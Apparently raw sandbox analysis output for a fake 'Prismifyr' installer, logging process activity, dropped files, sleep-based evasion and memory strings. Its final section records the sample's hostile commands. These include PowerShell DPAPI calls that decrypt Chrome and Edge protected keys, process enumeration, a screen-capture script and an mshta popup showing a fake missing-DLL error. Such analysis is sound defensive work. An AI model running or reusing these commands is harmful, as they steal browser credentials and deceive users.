Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\screenCapture\screenCapture_1.3.2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\screenCapture\screenCapture_1.3.2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\screenCapture\screenCapture_1.3.2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\screenCapture\screenCapture_1.3.2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\screenCapture\screenCapture_1.3.2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\screenCapture\screenCapture_1.3.2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\screenCapture\screenCapture_1.3.2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\screenCapture\screenCapture_1.3.2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\screenCapture\screenCapture_1.3.2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\screenCapture\screenCapture_1.3.2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\screenCapture\screenCapture_1.3.2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\screenCapture\screenCapture_1.3.2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\screenCapture\screenCapture_1.3.2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\screenCapture\screenCapture_1.3.2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\screenCapture\screenCapture_1.3.2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\screenCapture\screenCapture_1.3.2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\screenCapture\screenCapture_1.3.2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\screenCapture\screenCapture_1.3.2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\screenCapture\screenCapture_1.3.2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\screenCapture\screenCapture_1.3.2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\screenCapture\screenCapture_1.3.2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\screenCapture\screenCapture_1.3.2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\screenCapture\screenCapture_1.3.2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\screenCapture\screenCapture_1.3.2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\screenCapture\screenCapture_1.3.2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\screenCapture\screenCapture_1.3.2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\tasklist.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\tasklist.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\tasklist.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\tasklist.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX

Source: C:\Users\user\AppData\Local\Temp\screenCapture\screenCapture_1.3.2.exe	Memory allocated: D90000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\screenCapture\screenCapture_1.3.2.exe	Memory allocated: 1A6F0000 memory reserve \| memory write watch

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\screenCapture\screenCapture_1.3.2.exe	Thread delayed: delay time: 922337203685477

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3227
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3851
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4274
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 719

Source: C:\Users\user\Desktop\Prismifyr_Installer_v2.1 Setup 1.0.0.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\nsyC753.tmp\7z-out\vulkan-1.dll	Jump to dropped file
Source: C:\Users\user\Desktop\Prismifyr_Installer_v2.1 Setup 1.0.0.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\nsyC753.tmp\7z-out\d3dcompiler_47.dll	Jump to dropped file
Source: C:\Users\user\Desktop\Prismifyr_Installer_v2.1 Setup 1.0.0.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\nsyC753.tmp\7z-out\libGLESv2.dll	Jump to dropped file
Source: C:\Users\user\Desktop\Prismifyr_Installer_v2.1 Setup 1.0.0.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\nsyC753.tmp\StdUtils.dll	Jump to dropped file
Source: C:\Users\user\Desktop\Prismifyr_Installer_v2.1 Setup 1.0.0.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\nsyC753.tmp\7z-out\resources\elevate.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\d9f7e9ec-5589-4098-b546-c97c7020ff02.tmp.node	Jump to dropped file
Source: C:\Users\user\Desktop\Prismifyr_Installer_v2.1 Setup 1.0.0.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\nsyC753.tmp\nsExec.dll	Jump to dropped file
Source: C:\Users\user\Desktop\Prismifyr_Installer_v2.1 Setup 1.0.0.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\libGLESv2.dll	Jump to dropped file
Source: C:\Users\user\Desktop\Prismifyr_Installer_v2.1 Setup 1.0.0.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\nsyC753.tmp\System.dll	Jump to dropped file
Source: C:\Users\user\Desktop\Prismifyr_Installer_v2.1 Setup 1.0.0.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\nsyC753.tmp\nsis7z.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\1b6e99aa-5e17-4930-922d-0fcfed46e003.tmp.node	Jump to dropped file
Source: C:\Users\user\Desktop\Prismifyr_Installer_v2.1 Setup 1.0.0.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\nsyC753.tmp\SpiderBanner.dll	Jump to dropped file
Source: C:\Users\user\Desktop\Prismifyr_Installer_v2.1 Setup 1.0.0.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\nsyC753.tmp\7z-out\libEGL.dll	Jump to dropped file
Source: C:\Users\user\Desktop\Prismifyr_Installer_v2.1 Setup 1.0.0.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\d3dcompiler_47.dll	Jump to dropped file
Source: C:\Users\user\Desktop\Prismifyr_Installer_v2.1 Setup 1.0.0.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\nsyC753.tmp\7z-out\vk_swiftshader.dll	Jump to dropped file
Source: C:\Users\user\Desktop\Prismifyr_Installer_v2.1 Setup 1.0.0.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\libEGL.dll	Jump to dropped file

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4036	Thread sleep count: 3227 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4036	Thread sleep count: 3851 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7148	Thread sleep time: -6456360425798339s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3424	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5980	Thread sleep count: 4274 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 280	Thread sleep count: 719 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6208	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3392	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\screenCapture\screenCapture_1.3.2.exe TID: 7132	Thread sleep time: -922337203685477s >= -30000s

Source: C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe	Key opened: HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Keyboard Layouts\d0010809			Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe	Key opened: HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Keyboard Layouts\d0010809

Source: C:\Users\user\Desktop\Prismifyr_Installer_v2.1 Setup 1.0.0.exe

File Volume queried: C:\ FullSizeInformation

Jump to behavior

Source: C:\Users\user\Desktop\Prismifyr_Installer_v2.1 Setup 1.0.0.exe	Code function: 0_2_004059CC GetTempPathW,DeleteFileW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,FindNextFileW,FindClose,	0_2_004059CC
Source: C:\Users\user\Desktop\Prismifyr_Installer_v2.1 Setup 1.0.0.exe	Code function: 0_2_004065FD FindFirstFileW,FindClose,	0_2_004065FD
Source: C:\Users\user\Desktop\Prismifyr_Installer_v2.1 Setup 1.0.0.exe	Code function: 0_2_00402868 FindFirstFileW,	0_2_00402868

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\screenCapture\screenCapture_1.3.2.exe	Thread delayed: delay time: 922337203685477

Source: C:\Users\user\Desktop\Prismifyr_Installer_v2.1 Setup 1.0.0.exe	File opened: C:\Users\user\AppData\Local\Temp\nsyC753.tmp\7z-out\locales	Jump to behavior
Source: C:\Users\user\Desktop\Prismifyr_Installer_v2.1 Setup 1.0.0.exe	File opened: C:\Users\user\AppData\Local\Temp\nsyC753.tmp\7z-out\resources	Jump to behavior
Source: C:\Users\user\Desktop\Prismifyr_Installer_v2.1 Setup 1.0.0.exe	File opened: C:\Users\user\AppData\Local\Temp\nsyC753.tmp\7z-out\resources\app.asar.unpacked\node_modules\screenshot-desktop\lib	Jump to behavior
Source: C:\Users\user\Desktop\Prismifyr_Installer_v2.1 Setup 1.0.0.exe	File opened: C:\Users\user\AppData\Local\Temp\nsyC753.tmp\7z-out\resources\app.asar.unpacked\node_modules	Jump to behavior
Source: C:\Users\user\Desktop\Prismifyr_Installer_v2.1 Setup 1.0.0.exe	File opened: C:\Users\user\AppData\Local\Temp\nsyC753.tmp\7z-out\resources\app.asar.unpacked	Jump to behavior
Source: C:\Users\user\Desktop\Prismifyr_Installer_v2.1 Setup 1.0.0.exe	File opened: C:\Users\user\AppData\Local\Temp\nsyC753.tmp\7z-out\resources\app.asar.unpacked\node_modules\screenshot-desktop	Jump to behavior

Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2392473853.0000000006B20000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: bCK1sK9IRQq9qEmUv4RDsNuESgMjGWdqb8FuvAY5N9GIIvejQjBAMA8GA1UdEwEB/wQFMAMB
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2278954943.0000000006B20000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: VMware
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2278954943.0000000006B20000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: (IsLinux() && isVMWare) \|\| (IsAndroid() && isNvidia) \|\| (IsAndroid() && GetAndroidSDKVersion() < 27 && IsAdreno5xxOrOlder(functions)) \|\| (!isMesa && IsMaliT8xxOrOlder(functions)) \|\| (!isMesa && IsMaliG31OrOlder(functions))
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2397315857.0000000005223000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: vmncVMware Screen Codec / VMware Videovp5On2 VP5vp6On2 VP6vp6fOn2 VP6 (Flash version)targaTruevision Targa imageimage/x-targaimage/x-tga
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2278954943.0000000006B20000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: ZAMDARMAppleBroadcomGoogleIntelMesaMicrosoftNVIDIAImagination TechnologiesQualcommSamsung Electronics Co., Ltd.VivanteVMwareVirtIOTest n
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2392473853.0000000006B20000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: lgnW2/4/PEZB31jiVg88O8EckzXZOFKs7sjsLjBOlDW0JB9LeGna8gI4zJVSk/BwJVmcIGfE
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2397315857.0000000005223000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMware Screen Codec / VMware Video

Source: C:\Users\user\Desktop\Prismifyr_Installer_v2.1 Setup 1.0.0.exe

API call chain: ExitProcess graph end node

graph_0-3407

Source: C:\Users\user\Desktop\Prismifyr_Installer_v2.1 Setup 1.0.0.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\screenCapture\screenCapture_1.3.2.exe

Memory allocated: page read and write | page guard

Source: C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /d /s /c "tasklist /fo csv"	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe	Process created: C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe "C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe" --type=gpu-process --user-data-dir="C:\Users\user\AppData\Roaming\Prismifyr_Installer_v2.1" --gpu-preferences=UAAAAAAAAADgAAAMAAAAAAAAAAAAAAAAAABgAAEAAAAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAA --field-trial-handle=2244,i,14912361022600860785,9095772362069922900,262144 --disable-features=SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit,WinRetrieveSuggestionsOnlyOnDemand --variations-seed-version --mojo-platform-channel-handle=2236 /prefetch:2	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /d /s /c "tasklist"	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe	Process created: C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe "C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --user-data-dir="C:\Users\user\AppData\Roaming\Prismifyr_Installer_v2.1" --field-trial-handle=2516,i,14912361022600860785,9095772362069922900,262144 --disable-features=SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit,WinRetrieveSuggestionsOnlyOnDemand --variations-seed-version --mojo-platform-channel-handle=2512 /prefetch:3	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /d /s /c "powershell.exe Add-Type -AssemblyName System.Security; [System.Security.Cryptography.ProtectedData]::Unprotect([byte[]]@(1,0,0,0,208,140,157,223,1,21,209,17,140,122,0,192,79,194,151,235,1,0,0,0,82,140,181,59,205,133,36,68,131,195,71,114,10,9,65,24,16,0,0,0,28,0,0,0,71,0,111,0,111,0,103,0,108,0,101,0,32,0,67,0,104,0,114,0,111,0,109,0,101,0,0,0,16,102,0,0,0,1,0,0,32,0,0,0,36,243,112,255,236,176,19,21,161,232,5,156,15,224,214,169,185,79,161,35,240,200,160,226,160,19,168,214,186,239,155,235,0,0,0,0,14,128,0,0,0,2,0,0,32,0,0,0,225,241,231,195,97,47,248,22,206,161,226,92,44,44,51,207,166,8,46,136,147,185,84,185,27,183,252,114,164,252,148,168,48,0,0,0,2,140,235,235,139,99,133,55,160,143,64,53,168,135,193,81,10,81,94,101,239,145,72,8,97,176,119,236,164,201,155,27,236,184,11,80,145,31,10,79,199,92,71,166,116,84,131,150,64,0,0,0,33,136,240,246,163,86,84,202,92,12,170,239,80,17,93,81,235,159,209,41,5,212,210,23,106,50,31,57,94,244,205,86,198,111,237,171,160,240,77,231,4,197,113,175,235,153,59,29,176,183,188,244,160,186,186,93,146,97,116,126,129,24,71,225), $null, 'CurrentUser')"	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /d /s /c "powershell.exe Add-Type -AssemblyName System.Security; [System.Security.Cryptography.ProtectedData]::Unprotect([byte[]]@(1,0,0,0,208,140,157,223,1,21,209,17,140,122,0,192,79,194,151,235,1,0,0,0,82,140,181,59,205,133,36,68,131,195,71,114,10,9,65,24,16,0,0,0,30,0,0,0,77,0,105,0,99,0,114,0,111,0,115,0,111,0,102,0,116,0,32,0,69,0,100,0,103,0,101,0,0,0,16,102,0,0,0,1,0,0,32,0,0,0,73,231,212,88,131,180,108,13,7,151,85,6,156,66,67,185,57,141,176,137,39,153,232,122,3,148,29,97,139,226,146,101,0,0,0,0,14,128,0,0,0,2,0,0,32,0,0,0,25,208,58,196,147,38,229,71,17,84,57,121,51,122,21,191,192,210,223,56,196,102,132,177,163,7,170,237,170,96,43,123,48,0,0,0,22,214,107,180,137,106,64,43,246,209,3,97,183,60,179,87,35,178,252,209,63,28,6,231,92,233,101,110,37,191,114,95,102,37,85,25,129,162,60,71,136,36,115,191,138,222,1,225,64,0,0,0,221,128,244,169,226,245,40,30,145,232,4,127,240,108,165,92,23,225,199,246,49,201,112,97,127,7,108,202,49,141,230,234,32,54,72,203,159,33,237,81,195,247,232,115,207,194,239,99,114,230,169,121,178,134,199,77,110,131,115,20,107,231,17,6), $null, 'CurrentUser')"	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /d /s /c ""C:\Users\user\AppData\Local\Temp\screenCapture\screenCapture_1.3.2.bat" "C:\Users\user\AppData\Local\Temp\2024924-64-yswszl.55ad9.png" "	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /d /s /c "tasklist"	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /d /s /c "start /B cmd /c mshta "javascript:new ActiveXObject('WScript.Shell').Popup('The program can not start because MSVCP140.dll is missing from your computer. Try reinstalling the program to fix this problem.', 0, 'Error', 16);close()""	Jump to behavior
